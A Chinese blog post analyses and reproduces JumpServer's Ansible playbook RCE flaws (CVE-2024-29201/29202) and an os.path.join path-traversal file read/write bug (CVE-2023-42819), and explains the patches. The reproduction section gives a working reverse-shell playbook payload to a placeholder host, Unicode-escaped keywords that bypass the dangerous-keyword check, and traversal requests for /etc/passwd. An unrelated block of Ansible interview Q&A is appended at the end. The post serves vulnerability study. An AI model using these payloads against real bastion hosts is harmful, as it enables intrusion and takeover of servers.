JumpServer中的Ansible作业调度问题

堡垒机

堡垒这个词源于军事,是防御用的坚固建筑物。延伸到网络安全领域,堡垒机相当于一个安全设备。简单来说,就是集中管理用户对内部网络资源的访问(如服务器、数据库等)。

最开始的堡垒机是一台配置严格的UNIX服务器,通过限制外部用户可以访问的服务、使用强认证机制、记录所有的访问行为等措施,来保护内部网络。后来随着远程办公等需求的发展,堡垒机也随之支持SSH、RDP等远程访问功能。堡垒机的功能简单来说,被归纳成了5个W。来访者是谁(Who)、何时来的(When)、什么权限(Which)、要去哪儿(Where)、去了之后做了什么(What)。实现“事前授权、事中监控、事后审计”。

Ansible

Jumpserver的Core源码中有个OPS模块。OPS一般指运维。Ansible就是自动化运维工具之一,在jumpserver对应的功能是“作业中心”。

堡垒机的主要作用是集中管理和审计对于资源访问。而管理各类资源需要用到自动化运维功能,就引入了Ansible。有了它无需在远程资源上安装任何脚本,就可以通过SSH实现远程控制,并执行自动化任务。

Ansible执行任务的核心组件之一就是Playbook。它是用YAML语言编写的脚本文件。简单来说就是Playbook是剧本,定义了具体有哪些任务,在哪里执行、执行步骤是什么。而Ansible负责解析剧本并执行相应的操作。

官方给的一个更新web服务器的Playbook如下,定义了执行任务的用户root,资源位于webservers组中的,tasks包含两个要执行的任务。

- name: Update web servers
  hosts: webservers
  remote_user: root

  tasks:
  - name: Ensure apache is at the latest version
    ansible.builtin.yum:
      name: httpd
      state: latest

  - name: Write the apache config file
    ansible.builtin.template:
      src: /srv/httpd.j2
      dest: /etc/httpd.conf

在 JumpServer 的 Web 界面中可以集中管理、执行Ansible Playbooks并且会记录所有 Ansible 操作的执行日志。

Ansible作业

从jumpserver的页面上可以看到用户可以在模版管理模块编写playbook(任务),然后在作业管理模块中创建作业,添加Playbook、选取要执行任务的资产、执行的用户身份等。接着可以选择“定时执行”、“保存后执行”,或者随时点击这条作业单独执行。

业务与漏洞

jumpserver作为堡垒机,本身集中对多台主机资源进行管理,每个用户绑定了对应的资产(主机、设备、数据库、Web等)。所以在这种应用场景下,挖掘漏洞要知道漏洞和业务的区别是什么。

为什么要先提这件事,因为CVE-2024的两个漏洞都是在作业中心编写的Ansible playbook中执行了代码,而作业中心还可以直接执行快捷命令,那是否也是一种漏洞呢?

作业中心执行命令

可以看到快捷命令最终是在用户绑定的远程服务器上执行的。而堡垒机本身就是提供对主机资源管理的。所以这是一种正常的业务。但如果用户可以在非绑定的主机上执行命令,超出了授权的范围,就是一种漏洞。甚至要是在jumpserver堡垒机所在的服务器上执行的,更是一种漏洞。

对于Ansible Playbook也是一样,要区分什么是业务,什么是漏洞。理论上Ansible本身的功能就是要在指定的资源上执行自动化脚本,例如下发给指定机器进行系统升级的命令。但是如果Ansible给堡垒机本身所在的服务器进行命令的下发,并且不是admin用户操作的,那么就是一种漏洞。

CVE-2024-29201 & CVE-2024-29202

分别看一下两个漏洞的描述,两个RCE漏洞漏洞很类似,只不过CVE-2024-29201是用的Playbook语法,CVE-2024-29202用的是Jinja2语法。

漏洞描述中有两个点需要关注,一个是CVE-2024-29201绕过了Ansible的输入验证机制。第二个是Celery容器中执行代码(Celery是Python开发的分布式任务调度模块)。上面说到要区分业务和漏洞,所以就会思考第二个问题,代码执行在了Celery容器中,为什么算是一种漏洞?

[CVE-2024-29201] Attackers can bypass the input validation mechanism in JumpServer’s Ansible to execute arbitrary code within the Celery container.
https://github.com/jumpserver/jumpserver/security/advisories/GHSA-pjpp-cm9x-6rwj
[CVE-2024-29202] Attackers can exploit a Jinja2 template injection vulnerability in JumpServer’s Ansible to execute arbitrary code within the Celery container.
https://github.com/jumpserver/jumpserver/security/advisories/GHSA-2vvr-vmvx-73ch

playbook

根据特定语法执行代码的漏洞有很多,比如python的Jinja2,java的Struts2等,这类漏洞首先要了解相关语法的特性。根据语法特性找到可以构造代码执行的方式。语法参考官方文档:https://docs.ansible.com/ansible/latest/reference_appendices/playbooks_keywords.html

常见的关键字包括:name(剧本名称)、hosts(剧本执行的目标列表)、tasks(剧本的任务列表)等。如果要想RCE,就需要找到能执行命令或者代码的关键字。进一步查询相关的模块,找到了如下的关键字:shellcommandscript(如果是Windows系统下,前面要统一加上win_,例如win_shell

shell: cat < /tmp/*txt
command: cat /etc/motd
win_shell: echo %HOMEDIR%
script: /some/local/script.sh --some-argument 1234

根据官方文档https://docs.ansible.com/ansible/latest/collections/ansible/builtin/shell_module.html。shell关键字通过/bin/bash在远程主机上执行命令,commandshell很像,区别如下

  • The command(s) will not be processed through the shell, so variables like $HOSTNAME and operations like "*""<"">""|"";" and "&" will not work. Use the ansible.builtin.shell module if you need these features.

测试用command创建空文件如下。只是上面提到command无法使用shell特性(如重定向、管道等)相关字符,所以没有shell适用性广。
远程主机上command执行

测试通过shell创建文件,如下,可以看到shell等字段确实能执行代码,但是还是在作业绑定的目标资产下执行的。这本身还是个业务范畴。如果想要成为漏洞,需要能在堡垒机本身所在的服务器中执行。
远程主机上shell执行

所以这里攻击者在构造poc时加入了connect的限制字段delegate_to: localhostansible_connection: local,让任务在本地执行。参考:
https://docs.ansible.com/ansible/latest/inventory/implicit_localhost.html

复现

CVE-2024-29201复现时由于我是采用docker搭建的,而docker中无法查看到celery容器。所以用反弹shell的payload,远程服务器nc -lvvp 8080开启监听,一旦收到反弹shell直接进入到对应的执行容器中。

先在“模板管理->playbook管理->创建playbook”,粘贴payload如下

[{
     "name": "RCE playbook",
     "hosts": "all",
     "tasks": [
       {
         "name": "this runs in Celery container",
         "shell": "/bin/bash -c 'bash -i >& /dev/tcp/ip/8080 0>&1'",
         "\u0064elegate_to": "localhost"
} ],
     "vars": {
     "ansible_\u0063onnection": "local"
     }
}]

然后点击“作业管理->创建playbook作业->运行”,可以看到vps上收到了反弹shell。
CVE-2024-29201复现

然后将playbook中的payload改为id > /tmp/pwnd,再次运行作业。文件成功落地。

cat /tmp/pwnd

CVE-2024-29202复现时只需要将playbook的内容换成jinja2语法即可。
CVE-2024-29202复现

需要注意,任务运行时会报错如下,但是并不影响实际运行。
任务运行报错

Ansible限制绕过

在漏洞描述的时候,提了两个关注点,第一个是CVE-2024-29201绕过了Ansible输入验证机制“bypass the input validation mechanism in JumpServer’s Ansible”。

其实从poc中很容易看出用Unicode编码绕过了限制。测试如果不用Unicode,会出现如下的报错。也就是说jumpserver本身对一些危险的关键字做了限制,而攻击者构造payload时用Unicode编码绕过了。

报错dangerous keyword

在源码中搜索dangerous keyword字段,可以对应到这个报错的源码位置—apps/ops/models/job.py(关于作业管理的功能路由均以ops/job开头)
check_danger_keywords

check_danger_keywords()方法位于apps/ops/models/playbook.py,用于检查指定工作目录(self.work_dir)中的 YAML 文件(Playbook脚本)是否包含危险关键字。一旦匹配到关键字,返回包含文件名、行号和关键字的结果列表。跟进方法可以找到关键字列表。
dangerous_keywords

将核心代码提取出来进行测试,unicode编码后确实无法在in时匹配dangerous_keywords。Ps:提取代码的时候需要注意,虽然poc中是\u0064,提取代码在测试时需要写成\\u0064。因为代码里面双引号里面的\是特殊字符,不代表\u0064本身的\这个字符。
Unicode绕过测试

celery容器

解释完漏洞描述中的第一个点,来说一下第二个点。为什么Celery容器中执行代码算是漏洞。

Celery是一个分布式任务队列系统,主要用于实时处理工作任务。它通常与消息代理(如 RabbitMQ、Redis)一起使用来调度和运行任务。那么就可以用来调度Ansible Playbook的任务。如果Celery的工作节点在容器中运行,而节点调度的是Ansible Playbook,那么也就意味着任务的确是在堡垒机本机的服务器上执行的,而非目标资源中执行的。

job.py中可以看到如下的代码,task是在celery中执行的。

from celery import current_task

def set_celery_id(self):
    if not current_task:
        return
    task_id = current_task.request.root_id
    self.task_id = task_id

补丁修复

https://github.com/jumpserver/jumpserver/commit/adbd73182b50a80ae6c80760133d61f164de27b1

补丁修复的思路依旧是限制Playbook在本地lcoal执行。增加了一个Playbook的执行器SuperPlaybookRunner。将它的LOCAL_CONNECTION_ENABLED设为1,也就是允许本地访问。在job.py中还是用原有的执行器PlaybookRunner,但是限制了该执行器的本地连接。而manager.py中采用新的SuperPlaybookRunner,允许本地连接。

SuperPlaybookRunner

CVE-2023-42819

其实这个漏洞和Ansible本身没什么关系,但是由于也是Jumpserver在处理Playbook时的问题,一起放在这篇写了。这是由于os.path.join()路径处理问题造成的一个任意文件读取/上传漏洞。
https://github.com/jumpserver/jumpserver/security/advisories/GHSA-ghg2-2whp-6m33

An attacker can exploit the directory traversal flaw using the provided URL to access and retrieve the contents of the file. URL Like https://jumpserver-ip/api/v1/ops/playbook/[playbookId]/file/?key=…/…/…/…/…/…/…/…/etc/passwd

漏洞复现:创建一个普通用户,登录普通用户的账号,左侧会有作业中心,在模板管理 -> Playbook管理 -> 创建Playbook,生成一个Playbook,查看它的ID,然后访问url即可读取任意文件。

漏洞复现

官方修复:https://github.com/jumpserver/jumpserver/commit/d0321a74f1713d031560341c8fd0a1859e6510d8

3.6.5修复版本对比

整体的修复都是将os.path.join()换为Django提供的safe_join()方法。前者是个很典型函数。python容易造成任意文件读取漏洞的写法如下

# open
file_path = input("请输入文件路径:")
with open(file_path, 'r') as f:
    data = f.read()

# os.path.join
directory = input("请输入目录名:")
file_name = input("请输入文件名:")

file_path = os.path.join(directory, file_name)
with open(file_path, 'r') as f:
    data = f.read()

这个漏洞的代码逻辑是获取key参数的值,和work_path进行拼接,然后读取这个拼接后的路径文件的内容。由于没有对路径进行限制,可以读取任意文件。

work_dir = os.path.join(settings.DATA_DIR, "ops", "playbook", self.id.__str__())
DATA_DIR = os.path.join(PROJECT_DIR, 'data')

work_path路径理论上值应该为/[project_dir]/data/ops/playbook/[playbookId],那么拼接后想要读取/etc/passwd,需要用../进行跨目录。

但os.path.join有个trick。它是根据操作系统的路径分隔符来拼接路径的片段,但是如果传入的片段包含绝对路径时,它会将绝对路径之前的片段忽略。看一下以下三种方式的结果比较。只要有绝对路径,前面的拼接就消失了。

result = os.path.join('/var/www/html', '/etc/passwd') # /etc/passwd
result = os.path.join('/var/www/html', '/etc/passwd', 'static') # /etc/passwd/static
result = os.path.join('/var/www/html', '/etc/passwd', '/static') # /static

但这里存在一个问题,什么样的路径会被系统认为是绝对路径。

# 类Unix系统(Linux和MacOS)
绝对路径:以 / 开头的路径被认为是绝对路径。例如,/etc/passwd。
相对路径:不以 / 开头的路径被认为是相对路径。例如,static/file.txt。
# Windows系统
绝对路径:
  以驱动器号开头的路径,例如 C:\Windows\System32
  以反斜杠(\)开头的路径,例如 \Windows\System32。
  带有UNC前缀的路径,例如 \\Server\Share\Folder\File.

在Linux系统下只要以/开头就认为是绝对路径。所以只要/etc/passwd是最后一个片段,即可忽略掉前面所有的路径。所以此处key=/etc/passwd也可。
/etc/passwd

上面这个get函数位于PlaybookFileBrowserAPIView类,查找该类的路由apps/ops/urls/api_urls.py,内容如下

app_name = "ops"
path('playbook/<uuid:pk>/file/', api.PlaybookFileBrowserAPIView.as_view(), name='playbook-file'),

视图由api调用,api的整体路由如下。拼接起来即可。
jumpserver整体api路由

POST方法拥有同样的问题,接收key的参数值,然后和work_path拼接。如果此处我们采用绝对路径,full_path就是key传入的值。如果is_directory为false,那么会认为是一个文件,将content内容写入进去。

POST方法

在linux下文件写入的利用方式一般写入到定时计划中,复现如下。
文件写入复现

这里需要注意,一开始没有传入X-CSRFToken头部,出现了报错

{"detail":"CSRF Failed: CSRF token missing.","code":"permission_denied"}

搜索jumpserver中的csrf字段,一般在js中设置头部,定位到apps/static/js/jumpserver.js,Header需要设置为X-CSRFToken,其值为${prefix}csrftoken的值。
X-CSRFToken
前缀的定义位于apps/jumpserver/settings/base.py,为jms_X-CSRFToken的值即为jms_csrftoken的值
SESSION_COOKIE_NAME_PREFIX

  • 22
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
当面试ansible相关问题时,以下是一些常见的问题和答案供参考: 1. 什么是AnsibleAnsible是一种自动化工具,用于配置管理、应用程序部署、任务自动化等。它使用简单的语法和模块化的架构,可以轻松地管理大规模的基础设施。 2. Ansible与其他自动化工具(如Chef、Puppet)有什么区别? 与其他自动化工具相比,Ansible具有以下特点: - 无需在被管理的主机上安装客户端,只需通过SSH进行通信。 - 使用YAML语言编写任务和剧本,易于理解和维护。 - 支持多种操作系统和云平台。 - 可以与其他工具(如Docker、Jenkins)集成。 3. 什么是Ansible Playbook? Ansible Playbook是一个用于定义和执行Ansible任务的文件。它使用YAML语法,可以包含多个任务和变量,用于描述所需的配置和操作。 4. 如何安装AnsibleAnsible可以通过包管理器(如apt、yum)进行安装,也可以使用pip进行安装。例如,在Ubuntu上可以使用以下命令进行安装: ``` sudo apt update sudo apt install ansible ``` 5. 如何在Ansible定义变量? 在Ansible,可以使用变量来存储和传递值。变量可以在剧本定义,也可以在外部文件定义。例如,可以在剧本使用`vars`关键字定义变量: ``` vars: my_var: value ``` 6. 如何在Ansible使用条件语句? Ansible使用条件语句来根据不同的条件执行不同的任务。可以使用`when`关键字来定义条件。例如,以下示例只有在某个变量等于特定值时才执行任务: ``` tasks: - name: Task 1 command: echo "Task 1 executed" when: my_var == "value" ``` 7. 如何在Ansible使用循环? Ansible支持多种循环方式,如`with_items`、`with_dict`等。可以使用循环来遍历列表、字典等数据结构,并执行相应的任务。例如,以下示例使用循环来创建多个用户: ``` tasks: - name: Create users user: name: "{{ item }}" state: present with_items: - user1 - user2 - user3 ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值